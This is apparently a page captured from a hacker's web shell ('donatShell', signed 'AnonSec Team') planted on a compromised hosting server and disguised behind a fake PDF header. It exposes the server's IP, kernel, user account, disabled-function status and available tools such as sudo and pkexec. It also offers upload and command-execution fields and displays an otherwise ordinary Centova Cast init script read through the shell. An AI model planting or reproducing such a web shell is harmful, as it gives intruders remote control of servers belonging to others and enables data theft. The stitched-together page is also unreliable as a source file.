%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/centovacast/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/local/centovacast/centovacast
#!/usr/bin/env bash
# chkconfig: 2345 95 05
### BEGIN INIT INFO
# Provides:          centovacast
# Required-Start:    $local_fs $remote_fs $network $named $syslog $time
# Required-Stop:
# Should-Start:      iptables mysqld mysql cron
# Should-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Centova Cast
# Description:       Centova Cast
### END INIT INFO

# =============================================================================
#
# Centova Cast - Copyright 2010-2014, Centova Technologies Inc.
# Init Script
#
# =============================================================================

HOMEPATH=""
. /etc/centovacast.conf
[ -z "$HOMEPATH" ] && echo "/etc/centovacast.conf is missing or damaged -- Centova Cast not installed?" && exit 1
[ ! -f $HOMEPATH/etc/cc-services.conf ] && echo "Cannot open $HOMEPATH/etc/cc-services.conf -- Centova Cast not installed?" && exit 1

NAME="Centova Cast"

. $HOMEPATH/etc/cc-services.conf
HAS_WEB=${WEB_SERVER:-"0"}
HAS_APP=${APP_SERVER:-"0"}
HAS_CCD=${CONTROL_SERVER:-"0"}
HAS_FTP=${FTP_SERVER:-"0"}
HAS_IMG=${IMAGE_DAEMON:-"0"}
HAS_PHP=${PHP_FASTCGI:-"0"}
HAS_COM=${COMET_DAEMON:-"0"}

[ -e /usr/local/centovacast/etc/init.local ] && . /usr/local/centovacast/etc/init.local

# Application list, in startup order
# format: procname shortname enabled [...]
APPLIST="cc-control ccd $HAS_CCD cc-appserver app $HAS_APP cc-php php $HAS_PHP cc-comet com $HAS_COM cc-web web $HAS_WEB cc-ftpd ftp $HAS_FTP cc-imaged img $HAS_IMG"
ANY_RUNNING=0

# cphp [args...] scriptname
# invoke a PHP script through CC's interpreter
cphp() {
	$HOMEPATH/lib/cc-int -c $HOMEPATH/etc/cc-system.conf $*
	return $?
}

rotate_logfile() {
	local LOGFILE="$1"
	
	[ -f ${LOGFILE}.10 ] && rm -f ${LOGFILE}.10
	for f in 9 8 7 6 5 4 3 2 1; do
		local RNTO=$((f+1))
		local SRCFILE="${LOGFILE}.$f"
		[ -f $SRCFILE ] && mv -f $SRCFILE ${LOGFILE}.${RNTO}
	done

	mv -f ${LOGFILE} ${LOGFILE}.1
}


gdb_autobt() {
cat <<EOF >$HOMEPATH/var/lib/autobt
run
bt
quit
EOF

	local LOGIDENT=$(basename "$1")
	local LOGFILE=$HOMEPATH/var/log/gdb_${LOGIDENT}.log

	if [ -f $LOGFILE ]; then
		rotate_logfile $LOGFILE
	fi

	# save stdout
	exec 6>&1

	# redirect to log file
	exec 1>$LOGFILE 2>&1

	gdb -x $HOMEPATH/var/lib/autobt --args "$@" &

	# restore stdout/stderr and release fd6
	exec 1>&6 2>&6 6>&-
}

check_rebooted() {
	local rbowner
	local removeok
	local forceremove=0
	[ "$1" == "final" ] && forceremove=1

	# first startup since we rebooted?
	if [ -e $HOMEPATH/var/run/.rebooted ]; then
		removeok=1

		# if .rebooted is owned by root, it's legit; run the atboot script
		rbowner=$(stat -c '%u' $HOMEPATH/var/run/.rebooted)
		if [ "$rbowner" == "0" ]; then
			cphp $HOMEPATH/system/cliutil.php atboot || removeok=0
		fi

		[ $forceremove -gt 0 ] && removeok=1

		# if something goes wrong when invoked via start_ccd, we leave .rebooted intact
		# so that start_app can have a whack at it after it rebuilds autoconfig.php; we
		# still try in start_ccd, though, to avoid a race condition wherein the cron job
		# runs after start_ccd but before start_app
		[ $removeok -gt 0 ] && rm -f $HOMEPATH/var/run/.rebooted
	fi
}

# start the control daemon
start_ccd() {
	if [ $HAS_CCD -gt 0 ]; then
		echo -n "cc-control "

		check_rebooted

		if [ -f $HOMEPATH/var/run/cc-control.pid ]; then
			CCDPID=$(cat $HOMEPATH/var/run/cc-control.pid)
			[ ! -z "$CCDPID" -a -d "/proc/$CCDPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-control.pid
		fi
		killall -9 cc-control >/dev/null 2>&1

		RPC_PORT=""
		RPC_MIN_WORKERS=3
		RPC_MAX_WORKERS=15
		EVENT_POLL_FREQ=15
		. $HOMEPATH/etc/cc-control.conf
		[ -z "$RPC_PORT" ] && echo "$HOMEPATH/etc/cc-control.conf is missing or damaged, cannot start cc-control" && return 1
		LICENSE_KEY=""
		. $HOMEPATH/etc/license.conf
		[ -z "$LICENSE_KEY" ] && echo "$HOMEPATH/etc/license.conf is missing or damaged, cannot start cc-control" && return 1

		# if this server is running the Centova Cast web interface, we must disable the RPC server's web interface
		#		[ $HAS_WEB -gt 0 ] && WEB_PORT=0

		if [ "$RPC_CHROOT" == "0" ]; then
			NOCHROOT="-o"
		else
			NOCHROOT=""
		fi
		
		DEBUGPREFIX=""
		DEBUGARGS=""
		if [ "$1" == "gdb" ]; then
			DEBUGARGS="-f -z -vvvvv"
			DEBUGPREFIX="gdb --args"
		elif [ "$1" == "debug" ]; then
			DEBUGPREFIX="gdb_autobt"
			DEBUGARGS="-f -vvvvv"
		elif [ "$1" == "strace" ]; then
			DEBUGARGS="-f -vvvvv"
			DEBUGPREFIX="strace"
		elif [ "$1" == "fg" ]; then
			DEBUGARGS="-f -vvvvv"
		elif [ "$1" == "efg" ]; then
			DEBUGARGS="-f -E -vvvvv"
		fi

		rm -f $HOMEPATH/var/log/control/core*

		$DEBUGPREFIX $HOMEPATH/sbin/cc-control \
			-p $RPC_PORT -b $RPC_ADDR -c $RPC_CONN_LIMIT -w $RPC_MIN_WORKERS -x $RPC_MAX_WORKERS -u ccuser -g ccuser \
			-F $EVENT_POLL_FREQ \
			-r $HOMEPATH \
			-m /var/log/control/master.log \
			-l $LICENSE_KEY \
			-s /var/run/cc-control.pid $NOCHROOT $DEBUGARGS

		[ $? -gt 0 ] && echo "- failed" && return 1
		touch $HOMEPATH/var/run/cc-control.state
	fi
	return 0
}

# stop the control daemon
stop_ccd() {
	QUIET="$1"
	if [ $HAS_CCD -gt 0 ]; then
		[ -z "$QUIET" ] && echo -n "cc-control "

		rm -f $HOMEPATH/var/run/cc-control.state

		if [ -f $HOMEPATH/var/run/cc-control.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-control.pid)
			rm -f $HOMEPATH/var/run/cc-control.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

rewrite_dynamic_web_conf() {
	FILES=""
	TESTFILES="$HOMEPATH/etc/caching.conf"
	for f in $TESTFILES; do
		[ -f $f ] && FILES="$FILES $f"
	done

	if [ ! -z "$FILES" ]; then
		awk -F '=' 'BEGIN { print "# dynamically generated; do not edit"; }
/^(#|[ \t]*$)/ { next; }
{
	val=$2
	if (val == "true") { val=1; }
	else if (val == "false") { val=1; }
	else if (val !~ /^[0-9]+$/) { val = "\"" val "\""; }
}
FILENAME ~ /\/caching.conf$/ {
	if ($1 == "ENABLE_WEBSRV_CACHING") {
		if (val>0) {
			print "fastcgi_cache_bypass 1;";
		}
	} else if ($1 !~ /(^ENABLE_APPSRV_CACHING|_DURATION$)/) {
		print "set " $1 " " val ";"
	}
	next;
}
{ next; }
' $FILES > $HOMEPATH/etc/cc-dynamic.conf
	fi

	if [ -e $HOMEPATH/etc/rpcshadow ]; then
		local rpcauthkey=$(<$HOMEPATH/etc/rpcshadow)
		local linksecret=$(echo -n "secure_link:$rpcauthkey" | md5sum | sed 's/ .*$//')
		echo "set \$LINK_SECRET \"${linksecret}\";" >> $HOMEPATH/etc/cc-dynamic.conf
	fi

	return 0;
}

# start the web interface daemon
start_web() {
	if [ $HAS_WEB -gt 0 ]; then
		echo -n "cc-web "
		if [ -f $HOMEPATH/var/run/cc-web.pid ]; then
			WEBPID=$(cat $HOMEPATH/var/run/cc-web.pid)
			[ ! -z "$WEBPID" -a -d "/proc/$WEBPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-web.pid
		fi

		echo "# dynamically generated based on ifconfig output; do not edit" > $HOMEPATH/etc/ipallow.conf
		ip addr show up | awk '$1 == "inet" && $2 ~ /^[0-9\.]+(\/[0-9]+)?$/ { sub("/.*$","",$2); print "allow " $2 ";" }' >> $HOMEPATH/etc/ipallow.conf
		#ifconfig | awk '$1 ~ /^inet$/ { sub("addr:","",$2); print "allow " $2 ";" }' >> $HOMEPATH/etc/ipallow.conf
		grep -q 127.0.0.1 $HOMEPATH/etc/ipallow.conf
		[ $? -gt 0 ] && echo "allow 127.0.0.1;" >> $HOMEPATH/etc/ipallow.conf

		rewrite_dynamic_web_conf

		$HOMEPATH/sbin/cc-web
		[ $? -gt 0 ] && echo "- failed" && return 1
		touch $HOMEPATH/var/run/cc-web.state

	fi
	return 0
}

# stop the web interface daemon
stop_web() {
	QUIET="$1"
	if [ $HAS_WEB -gt 0 ]; then
		[ -z "$QUIET" ] && echo -n "cc-web "

		rm -f $HOMEPATH/var/run/cc-web.state

		if [ -f $HOMEPATH/var/run/cc-web.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-web.pid)
			rm -f $HOMEPATH/var/run/cc-web.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

# start the application server daemon
start_app() {

	# if the update script somehow failed to restore the crontab after disabling it, put it back
	# in place here as a failsafe measure
	grep -q '^#UPDATING ' /etc/cron.d/centovacast >/dev/null 2>&1
	if [ $? -eq 0 ]; then

		# update not running right now?
		if [ ! -e $HOMEPATH/var/run/update ]; then
			sed 's/^#UPDATING //g' /etc/cron.d/centovacast > /etc/cron.d/centovacast.tmp
			[ -s /etc/cron.d/centovacast.tmp ] && mv -f /etc/cron.d/centovacast.tmp /etc/cron.d/centovacast

			chmod 0644 /etc/cron.d/centovacast
		fi

	fi

	if [ $HAS_APP -gt 0 ]; then
		echo -n "cc-appserver "

		# convert the definitions in centovacast.conf to a PHP script
		cphp $HOMEPATH/system/cliutil.php autoconfig $HOMEPATH/etc/centovacast.conf $HOMEPATH/etc/caching.conf > $HOMEPATH/system/autoconfig.php
		[ $? -eq 0 ] && cphp -l $HOMEPATH/system/autoconfig.php >/dev/null 2>&1
		[ $? -gt 0 ] && echo " - bad configuration in centovacast.conf, failed" && return 1

		# try to update web and app server POST limits based on upload limit configured in centovacast.conf
		cphp $HOMEPATH/system/cliutil.php updatelimits $HOMEPATH/system/autoconfig.php $HOMEPATH/etc/cc-system.conf $HOMEPATH/etc/web.d/cc-interface.conf

		chmod 0640 $HOMEPATH/system/autoconfig.php
		chown centovacast:centovacast $HOMEPATH/system/autoconfig.php

		check_rebooted final

		if [ -f $HOMEPATH/var/run/cc-appserver.pid ]; then
			APPPID=$(cat $HOMEPATH/var/run/cc-appserver.pid)
			[ ! -z "$APPPID" -a -d "/proc/$APPPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-appserver.pid
		fi

		$HOMEPATH/sbin/clear_web_cache >/dev/null 2>&1

		$HOMEPATH/sbin/cc-appserver --fpm-config $HOMEPATH/etc/cc-appserver.conf -c $HOMEPATH/etc/cc-system.conf

		[ $? -gt 0 ] && echo "- failed" && return 1
		touch $HOMEPATH/var/run/cc-appserver.state

	fi
	return 0
}

# stop the application server daemon
stop_app() {
	QUIET="$1"
	if [ $HAS_APP -gt 0 ]; then

		rm -f $HOMEPATH/var/run/cc-appserver.state

		[ -z "$QUIET" ] && echo -n "cc-appserver "
		if [ -f $HOMEPATH/var/run/cc-appserver.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-appserver.pid)

			# give cc-appserver up to 2s to exit cleanly before trashing its pidfile
			for n in 0 1 2 3 4 5 6 7 8 9; do
				[ ! -f $HOMEPATH/var/run/cc-appserver.pid ] && break
				sleep 0.2
			done
			rm -f $HOMEPATH/var/run/cc-appserver.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

# start the PHP FastCGI daemon
start_php() {
	if [ $HAS_PHP -gt 0 ]; then
		echo -n "cc-php "

		if [ -f $HOMEPATH/var/run/cc-php/cc-php.pid ]; then
			PHPPID=$(cat $HOMEPATH/var/run/cc-php/cc-php.pid)
			[ ! -z "$PHPPID" -a -d "/proc/$PHPPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-php/cc-php.pid
		fi

		$HOMEPATH/sbin/clear_web_cache >/dev/null 2>&1

		# if any secondary php-fpm pools exist, make sure all of their respective paths exist
		# and have correct permissions
		while read line; do
			if [ "${line:0:1}" == "[" ]; then
				plen=${#line}; plen=$((plen-2))
				pool=${line:1:$plen}
				[ "$pool" == "global" -o "$pool" == "webintf" ] && pool=""
			fi
			if [ ! -z "$pool" ]; then
				testdir=""
				case "$line" in
					*session.save_path*)
						savepath="${line#* = }"
						testdir="$savepath"
						;;
					*error_log*)
						errorlog="${line#* = }"
						testdir="${errorlog%/*}"
						;;
					"listen = "*)
						unixsock="${line#* = }"
						testdir="${unixsock%/*}"
						;;
					"user = "*)
						pooluser="${line#* = }"
						pooluser="${pooluser/\$pool/$pool}"
						;;
					"group = "*)
						poolgroup="${line#* = }"
						poolgroup="${poolgroup/\$pool/$pool}"
						;;
				esac
				if [ ! -z "$testdir" ]; then
					testdir="${testdir/\$pool/$pool}"
					[ ! -d "$testdir" ] && mkdir -p $testdir
					[ ! -z "$pooluser" -a ! -z "$poolgroup" ] && chown $pooluser:$poolgroup $testdir
				fi
			fi
		done < $HOMEPATH/etc/php-fpm.conf

		$HOMEPATH/sbin/php-fpm --fpm-config $HOMEPATH/etc/php-fpm.conf -c $HOMEPATH/etc/php.ini

		[ $? -gt 0 ] && echo "- failed" && return 1
		touch $HOMEPATH/var/run/cc-php.state
	fi
	return 0
}

# stop the PHP FastCGI daemon
stop_php() {
	QUIET="$1"
	if [ $HAS_PHP -gt 0 ]; then

		rm -f $HOMEPATH/var/run/cc-php.state

		[ -z "$QUIET" ] && echo -n "cc-php "
		if [ -f $HOMEPATH/var/run/cc-php/cc-php.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-php/cc-php.pid)
			rm -f $HOMEPATH/var/run/cc-php/cc-php.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

# start the FTP server daemon
start_ftp() {
	if [ $HAS_FTP -gt 0 ]; then
		echo -n "cc-ftpd "

		if [ -f $HOMEPATH/var/run/cc-ftpd.pid ]; then
			FTPPID=$(cat $HOMEPATH/var/run/cc-ftpd.pid)
			[ ! -z "$FTPPID" -a -d "/proc/$FTPPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-ftpd.pid
		fi

		FTP_PORT=""
		FTP_FSCHARSET=""
		FTP_CLIENTCHARSET=""
		. $HOMEPATH/etc/cc-ftpd.conf
		[ -z "$FTP_PORT" ] && echo "$HOMEPATH/etc/cc-ftpd.conf is missing or damaged, cannot start cc-ftpd" && return 1

		[ ! -z "$FTP_FSCHARSET" ] && FTP_FSCHARSET="-8 ${FTP_FSCHARSET}"
		[ ! -z "$FTP_CLIENTCHARSET" ] && FTP_CLIENTCHARSET="-9 ${FTP_CLIENTCHARSET}"

		if [ $FTP_PORT -gt 0 ]; then
			OPTS=""
			[ "$FTP_CHROOT" != "0" ] && OPTS="$OPTS -A"
			[ ! -z "$FTP_THROTTLE" ] && OPTS="$OPTS -T $FTP_THROTTLE"

			mkdir -p $HOMEPATH/var/lib/cc-ftpd/reindex

			$HOMEPATH/sbin/cc-ftpd $OPTS -1 -B -c $FTP_CONN_LIMIT -C $FTP_IP_LIMIT -E \
				-g $HOMEPATH/var/run/cc-ftpd.pid \
				-H -k 98 \
				-l centovacast:$HOMEPATH \
				-o $HOMEPATH/var/lib/cc-ftpd/reindex \
				-O stats:$HOMEPATH/var/log/cc-ftpd.log \
				-R -S ${FTP_ADDR},${FTP_PORT} \
				-u 100 -U 133:022 \
				${FTP_FSCHARSET} ${FTP_CLIENTCHARSET} \
				-x ${FTP_OPTIONS}
			[ $? -gt 0 ] && echo "- failed" && return 1
			touch $HOMEPATH/var/run/cc-ftpd.state
		fi
	fi
	return 0
}

# stop the FTP server daemon
stop_ftp() {
	QUIET="$1"
	if [ $HAS_FTP -gt 0 ]; then
		[ -z "$QUIET" ] && echo -n "cc-ftpd "

		rm -f $HOMEPATH/var/run/cc-ftpd.state

		if [ -f $HOMEPATH/var/run/cc-ftpd.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-ftpd.pid)
			rm -f $HOMEPATH/var/run/cc-ftpd.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

# start the comet daemon
start_com() {
	if [ $HAS_COM -gt 0 ]; then
		echo -n "cc-comet "

		if [ -f $HOMEPATH/var/run/cc-comet.pid ]; then
			COMPID=$(cat $HOMEPATH/var/run/cc-comet.pid)
			[ ! -z "$COMPID" -a -d "/proc/$COMPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/cc-comet.pid
		fi

		DEBUGPREFIX=""
		if [ "$1" == "gdb" ]; then
			DEBUGPREFIX="gdb --args"
		fi

		$DEBUGPREFIX $HOMEPATH/sbin/cc-comet \
			-d \
			-u ccuser -g ccuser \
			$HOMEPATH/etc/cc-comet.conf

		[ $? -gt 0 ] && echo "- failed" && return 1
		touch $HOMEPATH/var/run/cc-comet.state
	fi
	return 0
}

# stop the comet daemon
stop_com() {
	QUIET="$1"
	if [ $HAS_COM -gt 0 ]; then
		[ -z "$QUIET" ] && echo -n "cc-comet "

		rm -f $HOMEPATH/var/run/cc-comet.state

		if [ -f $HOMEPATH/var/run/cc-comet.pid ]; then
			kill $(cat $HOMEPATH/var/run/cc-comet.pid)
			rm -f $HOMEPATH/var/run/cc-comet.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}


# start the image daemon
start_img() {
	if [ $HAS_IMG -gt 0 ]; then
		echo -n "cc-imaged "

		if [ -f $HOMEPATH/var/run/imaged/cc-imaged.pid ]; then
			IMGPID=$(cat $HOMEPATH/var/run/imaged/cc-imaged.pid)
			[ ! -z "$IMGPID" -a -d "/proc/$IMGPID" ] && echo -n "(already running) " && return 0
			rm -f $HOMEPATH/var/run/imaged/cc-imaged.pid
		fi

		IMAGED_WORKER_REQUESTS=50
		IMAGED_BIND_PORT=""
		IMAGED_USER=""
		IMAGED_GROUP=""
		. $HOMEPATH/etc/cc-imaged.conf
		[ -z "$IMAGED_BIND_PORT" ] && echo "$HOMEPATH/etc/cc-imaged.conf is missing or damaged, cannot start cc-imaged" && return 1

		if [ $IMAGED_BIND_PORT -gt 0 ]; then
			if [ -z "$IMAGED_USER" ]; then
				IMAGED_USER=nobody
				IMAGED_GROUP=$(id -gn $IMAGED_USER 2>/dev/null)
				[ -z "$IMAGED_GROUP" ] && IMAGED_GROUP="nogroup"
			fi

			if [ "$IMAGED_CHROOT" == "0" ]; then
				NOCHROOT="-R"
			else
				NOCHROOT=""
			fi

			DEBUGPREFIX=""
			DEBUGARGS=""
			if [ "$1" == "gdb" ]; then
				DEBUGARGS="-f -vvvvv"
				DEBUGPREFIX="gdb --args"
			elif [ "$1" == "debug" ]; then
				DEBUGPREFIX="gdb_autobt"
				DEBUGARGS="-f -vvvvv"
			elif [ "$1" == "strace" ]; then
				DEBUGARGS="-f -vvvvv"
				DEBUGPREFIX="strace"
			elif [ "$1" == "fg" ]; then
				DEBUGARGS="-f -vvvvv"
			fi

			$DEBUGPREFIX $HOMEPATH/sbin/cc-imaged \
				-p $IMAGED_BIND_PORT -b $IMAGED_BIND_ADDR -c $IMAGED_HTTP_CONCUR -i $IMAGED_HTTP_IP_CONCUR \
				-r $HOMEPATH $NOCHROOT \
				-d /var/spool/imaged \
				-a /var/log/imaged/access.log \
				-e /var/log/imaged/error.log \
				-m /var/log/imaged/master.log \
				-u $IMAGED_USER -g $IMAGED_GROUP \
				-w $IMAGED_WORKER_MIN -W $IMAGED_WORKER_MAX \
				-s /var/run/imaged/cc-imaged.pid \
				$DEBUGARGS
			#-x $IMAGED_WORKER_REQUESTS
			[ $? -gt 0 ] && echo "- failed" && return 1
			touch $HOMEPATH/var/run/cc-imaged.state
		fi
	fi
	return 0
}

# stop the image daemon
stop_img() {
	QUIET="$1"
	if [ $HAS_IMG -gt 0 ]; then
		[ -z "$QUIET" ] && echo -n "cc-imaged "

		rm -f $HOMEPATH/var/run/cc-imaged.state

		if [ -f $HOMEPATH/var/run/imaged/cc-imaged.pid ]; then
			kill $(cat $HOMEPATH/var/run/imaged/cc-imaged.pid)
			rm -f $HOMEPATH/var/run/imaged/cc-imaged.pid
		else
			[ -z "$QUIET" ] && echo -n "(not running) "
		fi
	fi
	return 0
}

# check the status of our processes, restarting if necessary
check_status() {
	local PROCNAME="$1"
	local SHORTNAME="$2"
	echo -n "$PROCNAME: "

	STATEFILE=$HOMEPATH/var/run/$PROCNAME.state
	if [ ! -f $STATEFILE ]; then
		echo "manually stopped"
		return
	fi

	PIDFILE=${PROCNAME}
	[ "$PROCNAME" == "cc-imaged" ] && PIDFILE="imaged/$PIDFILE"
	PIDFILE=$HOMEPATH/var/run/$PIDFILE.pid

	if [ -f $PIDFILE ]; then
		PID=$(cat $PIDFILE)
		if [ ! -z "$PID" ]; then
			if [ -d "/proc/$PID" ]; then
				echo "running (pid $PID)"
				return
			fi
		fi
	fi

	echo "not running"

	local TS=$(date +"[%d/%b/%Y %k:%M:%S %z]")

	echo "$TS Process $PROCNAME is down, attempting restart" >> $HOMEPATH/var/log/process_monitor.log

	echo -n "Attempting to restart $SHORTNAME: "
	start_${SHORTNAME} $@
	if [ $? -eq 0 ]; then
		echo "$TS Process $PROCNAME restarted successfully" >> $HOMEPATH/var/log/process_monitor.log
		echo ""
	else
		echo "$TS Process $PROCNAME could not be restarted" >> $HOMEPATH/var/log/process_monitor.log
	fi
}

# show the status of our processes
show_status() {
	PROCNAME="$1"
	echo -n "$PROCNAME: "

	PIDFILE=${PROCNAME}
	[ "$PROCNAME" == "cc-imaged" ] && PIDFILE="imaged/$PIDFILE"
	PIDFILE=$HOMEPATH/var/run/$PIDFILE.pid
	if [ -f $PIDFILE ]; then
		PID=$(cat $PIDFILE)
		if [ ! -z "$PID" ]; then
			if [ -d "/proc/$PID" ]; then
				echo "running (pid $PID)"
			else
				echo "not running (exited uncleanly)"
			fi
		else
			echo "not running (bad pid file)"
		fi
	else
		echo "not running"
	fi
}

check_process() {
	PROCNAME="$1"
	RUNNING=$(ps -e | grep -c "${PROCNAME}\$")
	[ $RUNNING -gt 0 ] && ANY_RUNNING=1
}

kill_process() {
	PROCNAME="$1"
	ps -e | grep "${PROCNAME}\$" | awk '{print $1}' | xargs -r kill -9 >/dev/null 2>&1
	rm -f $HOMEPATH/var/run/${PROCNAME}.pid
}

reload_app() {
	SHORTNAME="$1"
	PROCNAME="$2"
	local procpid=0
	local pidfile
	local reloaded=0
	local signals=""

	pidfile=$HOMEPATH/var/run/${PROCNAME}.pid
	if [ -e $pidfile ]; then
		procpid=$(<$pidfile)
		[ -d /proc/$procpid ] || procpid=0
	fi

	case $SHORTNAME in
		web)
			signals="HUP USR1"
			;;
		app|php)
			signals="USR2 USR1"
			;;
	esac

	if [ $procpid -gt 0 ]; then
		if [ ! -z "$signals" ]; then
			for s in $signals; do
				kill -${s} $procpid
			done
			reloaded=1
		fi
	fi

	if [ $reloaded -gt 0 ]; then
		echo -n "cc-$SHORTNAME "
	else
		stop_$SHORTNAME quiet
		start_$SHORTNAME
	fi
}

applist_callback() {
	CALLBACK="$1"; shift
	PROCNAME="$1"; shift
	SHORTNAME="$1"; shift

	case "$CALLBACK" in
		show_status)
			show_status $PROCNAME
			return 0
			;;
		check_status)
			check_status $PROCNAME $SHORTNAME
			return 0
			;;
		check_process)
			check_process $PROCNAME
			return 0
			;;
		kill_process)
			kill_process $PROCNAME
			return 0
			;;
		start)
			start_$SHORTNAME
			return $?
			;;
		stop)
			stop_$SHORTNAME "$@"
			return $?
			;;
		reload)
			reload_app $SHORTNAME $PROCNAME
			;;
		default)
			echo "Unknown callback: $CALLBACK"
			return 1;
			;;
	esac
}

applist_foreach() {
	CALLBACK="$1"
	shift

	IGNOREERRORS=0
	REVERSEAPPS=0
	CALLBACKARGS=""
	while [ ! -z "$1" ]; do
		OPT="$1"
		shift

		case $OPT in
			ignoreerrors)
				IGNOREERRORS=1
				;;
			reverse)
				REVERSEAPPS=1
				;;
			args)
				CALLBACKARGS="$@"
				break;
				;;
		esac
	done

	PROCNAME=
	SHORTNAME=
	HASPROC=0
	N=1

	APPSLEFT="$APPLIST"
	while [ ! -z "$APPSLEFT" ]; do

		if [ $REVERSEAPPS -gt 0 ]; then
			f="${APPSLEFT##* }"
			APPSLEFT="${APPSLEFT% *}"
			ARGN=$((4 - $N))
		else
			f="${APPSLEFT%% *}"
			APPSLEFT="${APPSLEFT#* }"
			ARGN=$N
		fi

		[ "$f" == "$APPSLEFT" ] && APPSLEFT=""

		case $ARGN in
			1)
				PROCNAME="$f"
				;;
			2)
				SHORTNAME="$f"
				;;
			3)
				HASPROC=${f:-0}
				;;
		esac

		if [ $N -eq 3 ]; then
			if [ $HASPROC -gt 0 ]; then
				applist_callback "$CALLBACK" "$PROCNAME" "$SHORTNAME" $CALLBACKARGS
				RC=$?
				[ $IGNOREERRORS -eq 0 -a $RC -gt 0 ] && return $RC
			fi
			N=0
		fi

		N=$((N+1))
	done
}

kill_all() {
	# give processes 3 sec to exit gracefully
	for f in 1 2 3 4 5 6; do
		ANY_RUNNING=0
		applist_foreach check_process
		[ $ANY_RUNNING -eq 0 ] && break
		sleep 0.5
	done

	# gleefully kill them all
	applist_foreach kill_process
}

parse_cpuinfo() {
	[ ! -d /proc ] && exit
	cat /proc/cpuinfo | grep '^model name' | awk -F ':' '{print $2}' > $HOMEPATH/var/lib/cpuinfo
	cat /proc/cpuinfo | grep '^cpu MHz' | awk -F ':' '{print $2}' >> $HOMEPATH/var/lib/cpuinfo
	if [ $(cat /proc/cpuinfo | grep '^flags' | grep -c ' lm') -gt 0 ]; then
		echo "x86-64" >> $HOMEPATH/var/lib/cpuinfo
	else
		echo "x86" >> $HOMEPATH/var/lib/cpuinfo
	fi
	if [ -d /proc/xen ]; then
		echo "Xen" >> $HOMEPATH/var/lib/cpuinfo
	elif [ -d /proc/vz ]; then
		echo "OpenVZ" >> $HOMEPATH/var/lib/cpuinfo
	else
		echo "" >> $HOMEPATH/var/lib/cpuinfo
	fi
}

case "$1" in
	start)
		echo -n "Starting $NAME: "

		parse_cpuinfo

		applist_foreach start
		if [ $? -gt 0 ]; then
			applist_foreach stop reverse ignoreerrors args 1
			echo ""
			exit 1
		fi

		echo ""
		;;

	reload|graceful)
		echo -n "Reloading $NAME: "
		applist_foreach reload

		echo ""
		;;

	restart|force-reload)
		$0 stop
		$0 start
		;;

	stop)
		echo -n "Stopping $NAME: "

		applist_foreach stop reverse ignoreerrors

		kill_all

		echo ""
		;;

	status)
		applist_foreach show_status
		;;

	check)
		[ -d $HOMEPATH/var/run/update ] && echo "An update appears to be in progress; aborting" && exit 1
		applist_foreach check_status
		;;

	stop-*|start-*|restart-*|reload-*)
		ACTION=${1%-*}
		SHORTNAME=${1#*-}
		shift
		VALID=$(echo "$APPLIST" | grep -cE "[a-z_-]+ $SHORTNAME 1")
		[ $VALID -eq 0 ] && echo "Unrecognized application name: $SHORTNAME" && exit 1

		echo -n "Attempting to $ACTION $SHORTNAME: "
		if [ "$ACTION" == "reload" ]; then
			reload_app $SHORTNAME cc-${SHORTNAME}
			[ $? -eq 0 ] && echo ""
		else
			${ACTION}_${SHORTNAME} "$@"
			[ $? -eq 0 ] && echo ""
		fi
		;;

	*)
		echo "Usage: centovacast [start|stop|reload|restart|status]" >&2
		exit 3
		;;
esac




Anon7 - 2022
AnonSec Team